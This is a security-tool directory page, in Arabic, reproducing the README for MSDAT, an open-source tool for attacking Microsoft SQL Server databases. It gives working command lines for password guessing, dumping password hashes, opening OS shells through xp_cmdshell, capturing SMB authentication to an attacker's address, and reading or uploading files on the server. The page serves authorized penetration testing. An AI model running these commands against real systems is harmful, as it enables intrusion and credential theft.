Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
msdat — MSDAT: أداة هجوم قاعدة بيانات Microsoft SQL | Kitploit
أدوات/GitHubGitHub/quentinhardy/msdat
تصعيد الامتيازاتهجمات كلمات المرورالاستغلالجمع المعلوماتاختبار الاختراقأمن قواعد البيانات
GitHubquentinhardy/msdat

msdat

MSDAT: أداة هجوم قاعدة بيانات Microsoft SQL

عرض المستودع
1.0k14515منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
كوينتين هاردي
[email protected]
[email protected]

مزدات

مزدات (أداة اختراق قواعد بيانات مايكروسوفت SQL) هي أداة اختبار اختراق مفتوحة المصدر تُختبر أمان قواعد بيانات مايكروسوفت SQL عن بُعد.

أمثلة استخدام مزدات:

  • لديك قاعدة بيانات مايكروسوفت تستمع عن بُعد وتريد العثور على بيانات اعتماد صالحة للاتصال بقاعدة البيانات
  • لديك حساب مايكروسوفت SQL صالح على قاعدة بيانات وتريد رفع صلاحياتك
  • لديك حساب مايكروسوفت SQL صالح وتريد تنفيذ أوامر على نظام التشغيل المستضيف لقاعدة البيانات هذه (مثل xp_cmdshell، OLE Automation، Agent Jobs)

تم اختباره على قواعد بيانات مايكروسوفت SQL 2005، 2008، 2012، 2014، 2016 و 2019.

سجل التغييرات

  • الإصدار 2.4 (2022/12/28) :
    • خياران جديدان في وحدة search: --privs و --privs-full للحصول على أدوار وامتيازات المستخدم الحالي (مثل امتيازات تسجيل الدخول وقاعدة البيانات)
    • خيار جديد واحد في وحدة search: --config للحصول على تكوينات ومعلومات قاعدة البيانات (الإصدار، قواعد البيانات، المستخدمين، تعطيل المستخدمين، الإجراءات المخزنة، إلخ)
  • الإصدار 2.3 (2022/12/18) :
    • متوافق مع مايكروسوفت SQL Server 2019
    • خيار جديد --schema-dump في وحدة search لاستخراج المخطط وحفظه في ملف (باستثناء قواعد البيانات الافتراضية)
    • خيار جديد --table-dump في وحدة search لاستخراج جميع الجداول وحفظها في ملف (باستثناء قواعد البيانات الافتراضية)
    • خيار جديد --sql-shell في وحدة search للحصول على واجهة SQL زائفة بسيطة
  • الإصدار 2.2 (2022/04/29) :
    • يمكن استخدام --nmap-file و -l في وحدة all ووحدة passwordguesser الآن. يمكنك تقديم قائمة بالأهداف باستخدام -l أو ملف nmap باستخدام --nmap-file.
    • إصلاحات متعددة للأخطاء
  • الإصدار 2.1 (2020/03/04) :
    • خيار --nmap-file لتحميل جميع خدمات mssql من ملف nmap بصيغة XML (يجب تثبيت python-libnmap)
  • الإصدار 2.0 (2020/03/04) :
    • تم الانتقال من Python 2 إلى Python 3: مزدات متوافقة مع Python 3 فقط الآن. Python 2 غير مدعوم.
    • خيار الفاصل في وحدة تخمين كلمة المرور
    • تحسينات في التقاط الأخطاء في خيار --put-file لوحدة xpcmdshell
    • تحسينات في خيار الغلاف العكسي لوحدة jobs
    • وحدة OLE automation - تحسينات في تنفيذ الأوامر
    • وحدة OLE automation - تنفيذ غلاف عكسي لـ Powershell
    • خيار جديد لطباعة قائمة بمهام الوكلاء وأكوادهم: --print-jobs
  • الإصدار 1.2 (2020/02/26) :
    • طريقة جديدة في وحدة xpCmdShell: رفع ملف ثنائي باستخدام powershell (--put-file)
    • تحسين في oleAutomation: رفع الملف في وضع ثنائي بدلاً من ملف نصي
  • الإصدار 1.1 (2019/07/12) :
    • العديد من بيانات الاعتماد الافتراضية الأخرى. شكرًا لـ https://github.com/govolution/betterdefaultpasslist/
  • الإصدار 1.0 (2017/02/15) :

الميزات

بفضل مزدات (أداة اختراق قواعد بيانات مايكروسوفت SQL)، يمكنك (قائمة غير شاملة):

  • الحصول على معلومات تقنية (مثل إصدار قاعدة البيانات) لقاعدة بيانات MSSQL دون الحاجة إلى المصادقة
  • تحميل ملف nmap لمسح جميع أهداف MSSQL
  • البحث عن حسابات MSSQL باستخدام هجوم القاموس
  • اختبار كل اسم دخول ككلمة مرور (مطلوب المصادقة)
  • الحصول على غلاف ويندوز على خادم قاعدة البيانات باستخدام
    • xp_cmdshell
    • OLE Automation
    • Jobs
  • تنزيل الملفات عن بُعد باستخدام:
    • OLE Automation
    • bulkinsert
    • openrowset
  • رفع الملفات على الخادم باستخدام:
    • OLE Automation
    • openrowset
  • التقاط مصادقة SMB بفضل:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • سرقة كلمات مرور MSSQL المجزأة، على أي إصدار من MSSQL
  • مسح المنافذ عبر قاعدة البيانات:
    • openrowset
  • تنفيذ استعلامات SQL على خادم MSSQL عن بُعد عبر قاعدة البيانات (الهدف) باستخدام:
    • bulkinsert
    • openrowset
  • سرد الملفات/الدلائل باستخدام:
    • xp_subdirs
    • xp_dirtree
  • سرد الأقراص/الوسائط باستخدام:
    • xp_fixeddrives
    • xp_availablemedia
  • إنشاء مجلد باستخدام:
    • xp_create_subdir
  • البحث عن بيانات حساسة في الجداول (مثل بيانات الاعتماد)
  • الحصول على تكوين قاعدة البيانات (قواعد البيانات، المستخدمين، الإجراءات المخزنة، إلخ)
  • استخراج معلومات المخطط وجميع الجداول
  • تنفيذ أوامر SQL أساسية في واجهة SQL زائفة

التثبيت

يجب تثبيت بعض التبعيات لتشغيل مزدات.

في أوبونتو:

root@kitploit:~
sudo apt-get install freetds-dev 

أو تحميل freetds من http://www.freetds.org/

تثبيت تبعيات Python:

root@kitploit:~
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete

أو

root@kitploit:~
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

أضف "use ntlmv2 = yes" في ملف تكوين freetds الخاص بك (مثال: /etc/freetds/freetds.conf أو /usr/local/etc/freetds.conf). مثال:

root@kitploit:~
[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

كيفية البدء

root@kitploit:~
python3 msdat.py -h                                                                                                                                                                                                                                                    2 ⨯
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___ 
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || | 
              |_| |_||__/|__/|_n_||_| 
                        
------------------------------------------------------
 _   _  __            __           _           ___ 
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | | 
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool 
                        
-------------------------------------------------------

بواسطة كوينتين هاردي ([email protected])

الوسائط الموضعية:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                        
                        اختر أمرًا رئيسيًا
    all                 لتشغيل جميع الوحدات لمعرفة ما هو ممكن فعله
    mssqlinfo           للحصول على معلومات دون مصادقة
    passwordguesser     لمعرفة بيانات الاعتماد الصالحة
    passwordstealer     للحصول على كلمات مرور مجزأة
    xpcmdshell          للحصول على غلاف
    jobs                لتنفيذ أوامر النظام
    smbauthcapture      لالتقاط مصادقة SMB
    oleautomation       لقراءة/كتابة ملف وتنفيذ أوامر النظام
    bulkopen            لقراءة ملف ومسح المنافذ
    xpdirectory         لسرد الملفات/الأقراص وإنشاء الدلائل
    trustworthype       لتصبح مسؤول النظام باستخدام طريقة قاعدة البيانات الموثوقة
    userlikepwd         لمحاولة كل اسم مستخدم MSSQL مخزن في قاعدة البيانات ككلمة مرور مقابلة
    search              للبحث في أسماء الأعمدة
    cleaner             تنظيف الآثار المحلية

الوسائط الاختيارية:
  -h, --help            عرض رسالة المساعدة هذه والخروج
  --version             عرض رقم إصدار البرنامج والخروج

أمثلة

الوحدات

  • يمكنك سرد جميع الوحدات:
root@kitploit:~
./msdat.py -h
  • عندما تختار وحدة (مثال: all)، يمكنك استخدامها وسرد جميع ميزات وخيارات الوحدة:
root@kitploit:~
./msdat.py all -h

يمكنك معرفة ما إذا كان يمكن استخدام وحدة معينة على خادم MSSQL بفضل خيار --test-module. هذا الخيار مُطبق في كل وحدة من وحدات mdat.

وحدة all

تتيح لك وحدة all تشغيل جميع الوحدات (يعتمد على الخيارات التي اشتريتها).

root@kitploit:~
python msdat.py all -s $SERVER

إذا أردت:

  • استخدام ملف الحساب الخاص بك لهجوم القاموس
  • تجربة كلمات مرور متعددة لمستخدم دون أن يُطلب منك
  • تحديد قيمة المهلة الخاصة بك
root@kitploit:~
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

في كل وحدة، يمكنك تحديد مجموعة الأحرف المراد استخدامها باستخدام خيار --charset.

وحدة mssqlinfo

للحصول على معلومات تقنية حول خادم MSSQL عن بُعد دون الحاجة إلى المصادقة:

root@kitploit:~
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

تستخدم هذه الوحدة بروتوكول TDS و متصفح SQL Server للحصول على المعلومات.

وحدة passwordguesser

تتيح لك هذه الوحدة البحث عن بيانات اعتماد صالحة:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

يسمح خيار --force-retry باختبار كلمات مرور متعددة لكل مستخدم دون أن يُطلب منك.

يمكنك تحديد ملف الحساب الخاص بك باستخدام خيار --accounts-file:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

وحدة passwordstealer

لتخزين كلمات المرور المجزأة:

root@kitploit:~
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

تم اختبار هذه الوحدة على SQL Server 2000، 2005، 2008 و 2014.

وحدة xpcmdshell

لتنفيذ أوامر النظام بفضل xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

يمنحك الأمر السابق غلافًا تفاعليًا على خادم قاعدة البيانات عن بُعد.

إذا لم يكن xp_cmdshell مفعّلاً، يمكن استخدام خيار --enable-xpcmdshell في هذه الوحدة لتفعيله:

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --shell

يقوم خيار --enable-xpcmdshell بتفعيل xp_cmdshell إذا لم يكن مفعّلاً (غير مفعّل افتراضيًا).

يقوم خيار --disable-xpcmdshell بتعطيل xp_cmdshell إذا كان مفعّلاً.

وحدة smbauthcapture

بفضل هذه الوحدة، يمكنك التقاط مصادقة SMB:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

لالتقاط مصادقة SMB، يمكن استخدام وحدة auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) من metasploit:

root@kitploit:~
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

يحاول أمر capture لهذه الوحدة التقاط مصادقة SMB بفضل إجراءات xp_dirtree أو xp_fileexist أو xp-getfiledetails.

إذا أردت اختيار إجراء مصادقة SMB لالتقاط المصادقة:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

يمكنك تغيير اسم SHARE باستخدام خيار --share-name.

وحدة oleautomation

يمكن استخدام هذه الوحدة لقراءة/كتابة ملف في خادم قاعدة البيانات.

الأمر التالي يقرأ الملف temp.txt المخزن في خادم قاعدة البيانات:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

لكتابة سلسلة نصية في ملف (temp.txt) عن بُعد:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

يمكن استخدام هذه الوحدة لتنزيل ملف (C:\Users\Administrator\Desktop\temp.txt) مخزن على خادم قاعدة البيانات:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

أيضًا، يمكنك استخدام هذه الوحدة لرفع ملف (temp.txt) على الهدف:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

وحدة bulkopen

يمكن استخدام وحدة bulkopen:

  • لقراءة/تنزيل الملفات المخزنة على خادم قاعدة البيانات
  • لمسح المنافذ عبر خادم قاعدة البيانات
  • لتنفيذ استعلامات SQL على خادم MSSQL عن بُعد عبر قاعدة البيانات

لقراءة ملف مخزن في الهدف، يمكن استخدام الأمر التالي:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

يمكن استخدام خيار --method لتحديد الطريقة المراد استخدامها:

  • bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) أو
  • openrowset(https://msdn.microsoft.com/en-us/library/ms190312.aspx):
root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

لتنزيل ملف (C:\Users\Administrator\Desktop\temp.txt):` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

root@kitploit:~

يمكن استخدام هذه الوحدة لمسح المنافذ (1433 و 1434 لـ 127.0.0.1) عبر خادم قاعدة البيانات:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

يمكنك مسح نطاق من المنافذ:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

يمكن استخدام هذه الوحدة لتنفيذ استعلامات SQL (مثال: select @@ServerName) على خادم قاعدة بيانات عن بُعد (مثال: $SERVER2) عبر قاعدة البيانات ($SERVER):

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

وحدة xpdirectory

يمكن استخدام وحدة xpdirectory:

  • لسرد:
  • الملفات
  • الدلائل
  • الأقراص
  • للتحقق من وجود ملف
  • لإنشاء دليل

لسرد الملفات في دليل معين:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

لسرد الدلائل في دليل معين:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

لسرد الأقراص:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

للتحقق من وجود ملف:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

لإنشاء دليل:

root@kitploit:~
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

وحدة search

يمكن استخدام وحدة search للبحث عن نمط في أسماء أعمدة الجداول والعروض. مفيد للبحث عن النمط %password% في أسماء الأعمدة على سبيل المثال.

للحصول على أسماء الأعمدة التي تحتوي على أنماط كلمة المرور (مثل: passwd, password, motdepasse, clave):

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

إذا أردت رؤية أسماء الأعمدة التي لا تحتوي على بيانات، يجب استخدام خيار --show-empty-columns.

للبحث عن نمط معين في أسماء أعمدة العروض والجداول:

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

التبرع

إذا كنت ترغب في دعم عملي عن طريق التبرع، سأكون ممتنًا جدًا:

  • عبر BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf
تنزيل الأداة
  • تم إصدار الإصدار الأول